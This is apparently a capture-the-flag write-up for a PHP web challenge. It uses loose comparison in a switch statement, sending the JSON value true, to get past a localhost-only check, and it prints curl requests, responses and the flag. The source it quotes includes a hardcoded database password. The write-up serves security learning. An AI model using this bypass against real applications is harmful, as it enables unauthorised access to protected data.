Juggling Facts
3 minutes to read
We are given this website:
Static code analysis
We also have the PHP source code of the web application. The relevant part is in controllers/IndexController.php
:
<?php
class IndexController extends Controller
{
public function __construct()
{
parent::__construct();
}
public function index($router)
{
$router->view('index');
}
public function getfacts($router)
{
$jsondata = json_decode(file_get_contents('php://input'), true);
if ( empty($jsondata) || !array_key_exists('type', $jsondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
switch ($jsondata['type'])
{
case 'secrets':
return $router->jsonify([
'facts' => $this->facts->get_facts('secrets')
]);
case 'spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('spooky')
]);
case 'not_spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('not_spooky')
]);
default:
return $router->jsonify([
'message' => 'Invalid type!'
]);
}
}
}
We are interested in executing $this->facts->get_facts('secrets')
, because there’s the flag (as shown in entrypoint.sh
). Moreover, to interact with IndexController
, we must use endpoint /api/getfacts
:
<?php spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
}
include_once "${name}.php";
});
$database = new Database('localhost', 'root', 'M@k3l@R!d3s$', 'web_juggling_facts');
$database->connect();
$router = new Router();
$router->new('GET', '/', 'IndexController@index');
$router->new('POST','/api/getfacts', 'IndexController@getfacts');
die($router->match());
Exploitation
Going back to controllers/IndexController.php
, it seems clear that we must bypass this check:
if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}
So that we reach the switch
statement right below and access $this->facts->get_facts('secrets')
.
Messing with HTTP headers
At this point, we can start thinking of HTTP headers like X-Forwarded-For
and set 127.0.0.1
so that we bypass the check when trying to see secrets
.
After a lot of attempts, we conclude that $_SERVER['REMOTE_ADDR']
cannot be spoofed this time. Hence, we need to find another approach.
Type Juggling
At this point, I went back and noticed that the name of the challenge is “Juggling Facts”, which points to a vulnerability known as Type Juggling, which is very common in languages like PHP and JavaScript.
Type Juggling vulnerabilities appear when comparisons are ==
instead of ===
, so only the value is compared, not the variable type. For instance:
1 == '1'
istrue
1 === '1'
isfalse
If we look again at the code, we only see comparisons like ===
, so Type Juggling is not exploitable…
Flag
But let’s try anyway:
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":"secrets"}'
{"message":"Currently this type can be only accessed through localhost!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":1}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":0}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":"1"}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":{}}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":[]}'
{"message":"Invalid type!"}
$ curl 159.65.49.148:31883/api/getfacts -d '{"type":true}'
{"facts":[{"id":19,"fact":"HTB{sw1tch_stat3m3nts_4r3_vuln3r4bl3!!!}","fact_type":"secrets"}]}
So it looks like switch(true)
will execute the first option, which happens to be $this->facts->get_facts('secrets')
.